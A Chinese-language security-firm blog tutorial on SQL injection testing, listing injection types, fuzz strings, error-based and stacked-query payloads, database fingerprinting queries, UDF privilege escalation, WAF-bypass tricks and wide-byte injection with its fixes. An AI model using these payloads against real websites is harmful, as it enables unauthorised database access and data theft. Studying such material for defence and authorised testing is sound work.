網站滲透測試注入攻擊分析

2020-12-16 網站安全伺服器安全

國慶即將到來,前一期講到獲取網站信息判斷所屬環境以及各個埠的用處和弱口令密碼利用方法,這期仍有很多客戶找到我們Sine安全想要了解針對於SQL注入攻擊的測試方法,這一期我們來講解下注入的攻擊分類和使用手法,讓客戶明白漏洞是如何產生的,會給網站安全帶來怎樣的影響!

3.1 SQL注入漏洞

3.1.1. 注入分類

SQL注入是一種代碼注入技術,用於攻擊數據驅動的應用程式。在應用程式中,如果沒有做恰當的過濾,則可能使得惡意的SQL語句被插入輸入欄位中執行(例如將資料庫內容轉儲給攻擊者)。

3.1.1.1. 按技巧分類

根據使用的技巧,SQL注入類型可分為

盲注布爾盲註:只能從應用返回中推斷語句執行後的布爾值時間盲註:應用沒有明確的回顯,只能使用特定的時間函數來判斷報錯注入:應用會顯示全部或者部分的報錯信息堆疊注入:有的應用可以加入 ; 後一次執行多條語句其他3.1.1.2. 按獲取數據的方式分類

另外也可以根據獲取數據的方式分為3類

inband利用Web應用來直接獲取數據如報錯注入都是通過站點的響應或者錯誤反饋來提取數據inference通過Web的一些反映來推斷數據如布爾盲注和堆疊注入也就是我們通俗的盲注,通過web應用的其他改變來推斷數據out of band(OOB)通過其他傳輸方式來獲得數據,比如DNS解析協議和電子郵件3.1.2. 注入檢測

3.1.2.1. 常見的注入點

GET/POST/PUT/DELETE參數X-Forwarded-For文件名3.1.2.2. Fuzz注入點

' / "1/11/0and 1=1" and "1"="1and 1=2or 1=1or 1=' and '1'='1+ - ^ * % /<< >> || | & &&~!@反引號執行3.1.2.3. 測試用常量

@@version@@servername@@language@@spid3.1.2.4. 測試列數

例如 域名/index.asp?id=12+union+select+nulll,null-- ,不斷增加 null 至不返回

3.1.2.5. 報錯注入

select 1/0select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)aextractvalue(1, concat(0x5c,(select user())))updatexml(0x3a,concat(1,(select user())),1)exp(~(SELECT * from(select user())a))ST_LatFromGeoHash((select * from(select * from(select user())a)b))GTID_SUBSET(version(), 1)3.1.2.5.1. 基於geometric的報錯注入

GeometryCollection((select * from (select * from(select user())a)b))polygon((select * from(select * from(select user())a)b))multipoint((select * from(select * from(select user())a)b))multilinestring((select * from(select * from(select user())a)b))LINESTRING((select * from(select * from(select user())a)b))multipolygon((select * from(select * from(select user())a)b))其中需要注意的是,基於exp函數的報錯注入在MySQL 5.5.49後的版本已經不再生效,具體可以參考這個 commit 95825f 。

而以上列表中基於geometric的報錯注入在這個 commit 5caea4 中被修復,在5.5.x較後的版本中同樣不再生效。

3.1.2.6. 堆疊注入

;select 13.1.2.7. 注釋符

#--+/*xxx*//*!xxx*//*!50000xxx*/3.1.2.8. 判斷過濾規則

是否有trunc是否過濾某個字符是否過濾關鍵字slash和編碼3.1.2.9. 獲取信息

判斷資料庫類型and exists (select * from msysobjects ) > 0 access資料庫and exists (select * from sysobjects ) > 0 SQLServer資料庫判斷資料庫表and exsits (select * from admin)版本、主機名、用戶名、庫名表和欄位確定欄位數(Order By Select Into)表名、列名3.1.2.10. 測試權限

文件操作

讀敏感文件寫shell帶外通道網絡請求3.1.3. 權限提升

3.1.3.1. UDF提權

UDF(User Defined Function,用戶自定義函數)是MySQL提供的一個功能,可以通過編寫DLL擴展為MySQL添加新函數,擴充其功能。

當獲得MySQL權限之後,即可通過這種方式上傳自定義的擴展文件,從MySQL中執行系統命令。

3.1.4. 資料庫檢測

3.1.4.1. MySQL

sleep sleep(1)benchmark BENCHMARK(5000000, MD5('test'))字符串連接SELECT 'a' 'b'SELECT CONCAT('some','string')versionSELECT @@versionSELECT version()識別用函數connection_id()last_insert_id()row_count()3.1.4.2. Oracle

字符串連接'a'||'oracle' --SELECT CONCAT('some','string')versionSELECT banner FROM v$versionSELECT banner FROM v$version WHERE rownum=13.1.4.3. SQLServer

WAITFOR WAITFOR DELAY '00:00:10';SERVERNAME SELECT @@SERVERNAMEversion SELECT @@version字符串連接SELECT 'some'+'string'常量@@pack_received@@rowcount3.1.4.4. PostgreSQL

sleep pg_sleep(1)3.1.5. 繞過技巧

編碼繞過大小寫url編碼html編碼十六進位編碼unicode編碼注釋// -- -- + -- - # /**/ ;%00內聯注釋用的更多,它有一個特性 /!**/ 只有MySQL能識別e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3只過濾了一次時union => ununionion相同功能替換函數替換substring / mid / subascii / hex / binbenchmark / sleep變量替換user() / @@user符號和關鍵字and / &or / |HTTP參數HTTP參數汙染id=1&id=2&id=3 根據容器不同會有不同的結果HTTP分割注入緩衝區溢出一些C語言的WAF處理的字符串長度有限,超出某個長度後的payload可能不會被處理二次注入有長度限制時,通過多句執行的方法改掉資料庫該欄位的長度繞過3.1.6. SQL注入小技巧

3.1.6.1. 寬字節注入

一般程式設計師用gbk編碼做開發的時候,會用 set names 'gbk' 來設定,這句話等同於

set

character_set_connection = 'gbk',

character_set_result = 'gbk',

character_set_client = 'gbk';

漏洞發生的原因是執行了 set character_set_client = 'gbk'; 之後,mysql就會認為客戶端傳過來的數據是gbk編碼的,從而使用gbk去解碼,而mysql_real_escape是在解碼前執行的。但是直接用 set names 'gbk' 的話real_escape是不知道設置的數據的編碼的,就會加 %5c 。此時server拿到數據解碼 就認為提交的字符+%5c是gbk的一個字符,這樣就產生漏洞了。

解決的辦法有三種,第一種是把client的charset設置為binary,就不會做一次解碼的操作。第二種是是 mysql_set_charset('gbk') ,這裡就會把編碼的信息保存在和資料庫的連接裡面,就不會出現這個問題了。第三種就是用pdo。如果期間想要滲透測試自己的網站安全性,可以聯繫專業的網站安全公司來處理解決,國內推薦Sinesafe,綠盟,啟明星辰等等的網站安全公司,還有一些其他的編碼技巧,比如latin會棄掉無效的unicode,那麼admin%32在代碼裡面不等於admin,在資料庫比較會等於admin。

相關焦點

  • 滲透測試公司實戰注入攻擊拿下客戶網站
    近來,利用sql注入、xss和文件上傳漏洞,成功getshell的一個客戶網站(必須要拿到客戶授權滲透測試許可證明才可以,不得違法入侵),這裡簡單記錄一下整個過程,與大家分享。收集信息,查找漏洞。然後,尋找漏洞,個人一般都是從尋找帶有XSS漏洞的sql注入開始,打開網站,burp打開,進入XSS漏洞平臺,打開尋找漏洞的途徑。
  • 零基礎學滲透之SQLmap注入脫褲附實例「拿下網站資料庫」
    這就是SQL注入攻擊。可見,SQL注入本質上是一種用戶輸入式攻擊,是程序沒有對用戶輸入進行充分驗證留下的漏洞。到了黑客攻擊泛濫的今天,它被用來指網站遭到入侵後,黑客竊取其資料庫。拖庫可以通過資料庫安全防護技術解決,資料庫安全技術主要包括:資料庫漏掃、資料庫加密、資料庫防火牆、數據脫敏、資料庫安全審計系統。「拖庫」的通常步驟為:第一,黑客對目標網站進行掃描,查找其存在的漏洞,常見漏洞包括SQL注入、文件上傳漏洞等。
  • 2021暗月滲透測試全棧學習班
    -2暗月靶機測試系列視頻13 ReconForce暗月靶機測試系列視頻14 haclabs-no_name第二十天 docker教程3課01 docker安裝lnmp環境02 docker的基礎使用03 docker的容器的導入和導出第二十一天 SQL注入更新7課01 從原理上分析SQL注入02 SQL注入 mysql新版本手工注入03 SQL注入基礎 mysql的增刪改查04 SQL注入基礎 mysq
  • 2020暗月滲透測試全棧學習班
    基礎知識6課01物理機的環境搭建02網站基礎知識03詳解HTTP協議04埠協議05網站搭建vps購買 域名 解析 伺服器配置06搭建 https網站07安裝kali和配置08滲透測試中的常用編碼第五天 信息收集6課01 文件和目錄的掃描02 子域名收集03 whois信息反查 ip反查郵箱反查 資產相關 域名查詢ip04 埠掃描05 web信息刺探06 郵箱信息收集第六天窮舉篇13課01 窮舉爆破神器
  • 第一次滲透測試的分享和小結
    (如果經歷了大量的工程,對登錄框毫無辦法,連網站都沒進去,無法展開下一步測試的時候,就自己註冊一個帳號,或者找他們提供一個測試帳號吧...>經過滲透測試統計和分析,將弱密碼大致分為以下幾個情況(1)js裡有注釋掉的測試帳號密碼(2)各種登錄界面,各種後臺存在測試帳號,且可以看到敏感數據(這就可能是為什麼test test 可以進去的原因吧)(3)改了管理後臺頁面的所有弱密碼,但是在其他地方,比如辦公系統等,有員工沒有改自己的登錄密碼,經過爆破可以登錄員工帳號
  • 滲透測試 對文件上傳安全檢測與webshell分析
    前段時間我們SINE安全收到客戶的滲透測試服務委託,在這之前,客戶網站受到攻擊,數據被篡改,要求我們對網站進行全面的滲透測試,包括漏洞的檢測與測試,邏輯漏洞.垂直水平越權漏洞,文件上傳漏洞.等等服務項目,在進行安全測試之前,我們對客戶的網站大體的了解了一下,整個平臺網站,包括APP,安卓端,IOS端都採用的JSP+oracle資料庫架構開發,前端使用VUE,伺服器是linux
  • 滲透測試專業人員使用的11種工具
    滲透測試是模擬一種網絡攻擊,在真正的黑客入侵之前,模擬黑客入侵企業網絡來發現薄弱之處。就像電影《Sneakers》一樣,黑客顧問闖入公司網絡以發現網絡的弱點。其中,滲透測試人員或白帽都使用了黑客可用的工具和技術。回到過去的舊時代,黑客入侵是一件非常困難的事,並且需要大量的手動操作。
  • 零基礎如何學習Web安全滲透測試?這可能是史上最詳細的自學路線圖!
    (網站架構)是否了解過 HTTP 協議原理?例如用抓包軟體分析過 HTTP請求和響應包有什麼內容?Web安全滲透之 XSS 攻擊與防禦XSS跨站腳本攻擊原理-分類-危害反射型 XSS-低安全級別-彈框-重定向-cookie獲取及利用(tamper data)反射型 XSS-中安全級別-大小寫-混淆寫法繞過存儲型 XSS-低安全級別-彈框告警-cookie獲取存儲型 XSS-中高級別分析及cookie
  • 如何入門網站安全滲透測試
    從大學畢業的時候開始簡單入門,寫寫網站程序代碼,搞搞sql注入以及安全測試,到現在Sinesafe當安全工程師,差不多在安全行業成長了11年,發現不懂得問題隨著實戰滲透測試中非常多,還是學到老乾到老才是成功之道。
  • 網站安全滲透測試該如何入此行業
    我舉一個簡潔明了的事例,絕大多數入門教程都是教SQL注入的判斷方法and1=1,那麼:你可以概述SQL注入漏洞的實質是啥嗎?依據系統漏洞情景的不一樣都有哪些種類?依據運用方法的不一樣又有哪些種類?他們中什麼跑數據信息更快,什麼基本上適用全部狀況?出錯注入的基本原理是啥?聯合查詢注入又有什麼關鍵點?黑盒子測試中怎麼才能找尋SQL注入系統漏洞?白盒審計呢?
  • 滲透測試中的網站真實IP獲取方法大全
    q=example.com   Censys(這裡的參數值也可以是SSL證書指紋)  在Censys中查詢到了SSL證書後可以點擊右側Explore,往下找到What's using this certificate可以找到使用該證書的網站和IP(這裡用了人民教育出版社的網站為例,因為最近在SRC有看到相關測試需求)
  • web滲透測試對信息收集的方法介紹
    什麼是web滲透測試?一般是指通過模擬黑客的攻擊手法,對計算機網絡系統進行安全評估測試,如果發現系統中存在漏洞,向被測試系統的所有者提交滲透報告,並提出補救措施。這一章將通過滲透測試Web應用和伺服器,向大家介紹滲透測試的方法和技巧。
  • 記一次偶然發生的滲透測試
    0x00 信息搜集話還要從最近網上轉載的一篇文章說起—據說某家校通系統存在後臺萬能密碼登錄—於是點進去看了一下,然後從文章的某些特徵猜到了這個家校通系統,之後就某度一波,然後就發現一堆網站,隨便挑了一個,進行測試。找到測試目標,找到後臺入口,然後開始搞事情
  • 作為一個滲透測試學習者必知必讀的好書推薦
    》《Python絕技:運用Python成為頂級黑客》《精通黑客腳本》《XSS跨站腳本攻擊剖析與防禦》《XSS Filter Evasion Cheat Sheet 中文版》《Robust Defenses for Cross-Site Request Forgery 中文譯文版》《SQL注入攻擊與防禦(第2版)》
  • 常規web滲透測試漏洞合集
    (4)數據長度應該嚴格規定,能在一定程度上防止比較長的SQL注入語句無法正確執行。  (5)網站每個數據層的編碼統一,建議全部使用UTF-8編碼,上下層編碼不一致有可能導致一些過濾模型被繞過。  (6)嚴格限制網站用戶的資料庫的操作權限,給此用戶提供僅僅能夠滿足其工作的權限,從而最大限度的減少注入攻擊對資料庫的危害。
  • 滲透測試學習書籍推薦
    該書雖比《Web安全攻防:滲透測試實戰指南》少了56頁,但是就Web滲透的內容來說會更加深入、細緻,適合有一定計算機基礎的人閱讀學習。「如果你想了解如何運行埠掃描器、攻擊防火牆或者以其他方式對伺服器進行滲透測試,我們建議你閱讀其他圖書。但是,如果你希望了解滲透測試員如何攻擊Web應用程式、竊取敏感數據、執行未授權操作,那麼本書可以滿足你的需要。」        3.「本書極其注重實用性。」        該書也如起前言說的,從原理到實踐,詳細、透測、全面。
  • 滲透測試崗位面試題多人實戰大匯總
    常見面試題總結1、假如給你一個網站你怎麼去滲透?
  • Kali Linux Web滲透測試手冊(第二版) - 3.8 - 使用Burp Suite的重放功能
    3.8、使用Burp Suite的重放功能3.9、使用WebScarab3.10、從爬行結果中識別相關文件和目錄3.8、使用Burp Suite重放請求Repeater模塊在分析spider的結果並測試請求參數輸入時,非常有用。
  • 網站安全維護之滲透測試公司詳情
    哈嘍大家好,近期我們Sine安全對客戶平臺進行滲透測試的時候,發現有一些命令執行的漏洞測試語句和函數,導致伺服器被提權被入侵,上一節提到XSS跨站腳本攻擊檢測方法,本章來總和一下腳本執行命令的詳細檢測手段,以及繞過waf的辦法,只有這樣詳細的對平臺進行安全測試才能保障整個平臺安全穩定。3.5.1.
  • 最新丨2019版滲透測試面試題,值得一看!
    涉及到Jsonp的安全攻防內容攻擊頁面WEBPHP資料庫系統密碼學TCP/IP流量分析防火牆信息收集1.伺服器的相關信息(真實ip,系統類型,版本,開放埠,WAF等)2.網站指紋識別(3.一個成熟並且相對安全的CMS,滲透時掃目錄的意義?敏感文件、二級目錄掃描站長的誤操作比如:網站備份的壓縮文件、說明.txt、二級目錄可能存放著其他站點4.常見的網站伺服器容器。